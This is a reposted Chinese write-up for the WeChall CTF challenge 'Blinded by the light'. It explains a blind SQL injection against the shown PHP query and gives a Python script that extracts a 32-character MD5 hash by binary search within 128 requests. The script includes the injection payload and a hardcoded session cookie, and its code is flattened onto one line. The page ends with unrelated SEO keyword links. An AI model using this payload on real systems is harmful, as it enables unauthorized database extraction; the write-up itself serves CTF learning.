Writeup Blinded by the light
发表于:2024-09-24 作者:千家信息网编辑
千家信息网最后更新 2024年09月24日,题目提示:1. Your mission is to extract an md5 password hash out of a database.需要获取数据库中的密码信息,而密码是经过MD5加密的
千家信息网最后更新 2024年09月24日Writeup Blinded by the light
题目提示:
1. Your mission is to extract an md5 password hash out of a database.
需要获取数据库中的密码信息,而密码是经过MD5加密的。
2. Your limit for this blind sql injection are 128 queries.
最多可以注入128次,通过查看源代码可以看到超过了就会重新生成密码。
3. 可以查看部分关键源代码
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
通过源代码可以看到存在注入漏洞,但是只能进行是或否的判断。
$hash = GWF_Random::randomKey(32, 'ABCDEF0123456789');
密码是随机生成的32位字符串,为大写A-F,0-9。
解题:
通过二叉树法对32位密码的每一位进行判断,四次可以得到一位的值,32*4=128,正好128次注入可以得到密码,Python脚本如下:
# -*- coding: utf-8 -*- import urllib2import urllibimport cookielibimport stringimport reimport Cookieml= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'];# 设置一个cookie处理器cj = cookielib.CookieJar();opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));urllib2.install_opener(opener);for lindex in range(32): xj= 0; xvalue= 16; for sindex in range(4): if xj>0: xvalue= xvalue + 16 / (2 ** (sindex + 1)); else: xvalue= xvalue - 16 / (2 ** (sindex + 1)); # second time do url request, the cookiejar will auto handle the cookie loginBaiduUrl = "http://www.wechall.net/challenge/blind_light/index.php"; strinject = '1\' or ascii(substr(password,%d,1))>%d #' % (lindex+1,ord(ml[xvalue-1])); #print strinject; para = { 'injection' : strinject, 'inject' : 'Inject', }; postData = urllib.urlencode(para); req = urllib2.Request(loginBaiduUrl, postData); req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0'); req.add_header('Content-Type', 'application/x-www-form-urlencoded'); req.add_header('Cookie', 'WC=8624571-16186-h8NKQBMCengtEsn4'); req.add_header('Referer', 'http://www.wechall.net/challenge/blind_light/index.php'); req.add_header('Connection', 'close'); resp = urllib2.urlopen(req); respInfo = resp.info(); # 通过正则匹配抓到需要统计的字符串 content = resp.read() check_text = re.findall('(attempt[s\.\!]{1,2})',content,re.S)[0] #print check_text if check_text=='attempt!': xj=0; else: xj=1; if xj==0: print ml[xvalue-1]; else: print ml[xvalue];
密码
源代码
字符
字符串
生成
信息
关键
处理器
大写
数据
数据库
正则
漏洞
脚本
部分
题目
utf-8
树法
加密
处理
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
宝安服务器电脑维修
高二网络技术技术教案
网络安全的命脉企业辰安科技
网贷软件开发合同
服务器u盘安装
郑州网络安全周百花电影奖
多玩魔兽世界数据库
08r2服务器开21端口
四史大家讲网络安全
uno软件开发
学软件开发笔试题
大数据服务器怎么降温
怎样加入网络安全协会
电脑只能在网络安全模式下没声音
全国网络安全会议重庆
运维网络安全心得体会
浙江网信办网络安全处
软件开发法律规定
江北区技术软件开发服务常见问题
杭州格享网络技术
村级网络技术培训
诸暨 小程序软件开发
网络安全,从此有法可依
基因表达相关数据库
本地软件开发费用
数据库系统第二章总结
台州诚世网络技术
吉林大学华为网络技术学院
hbase中怎么删除数据库
网络安全舆情培训方案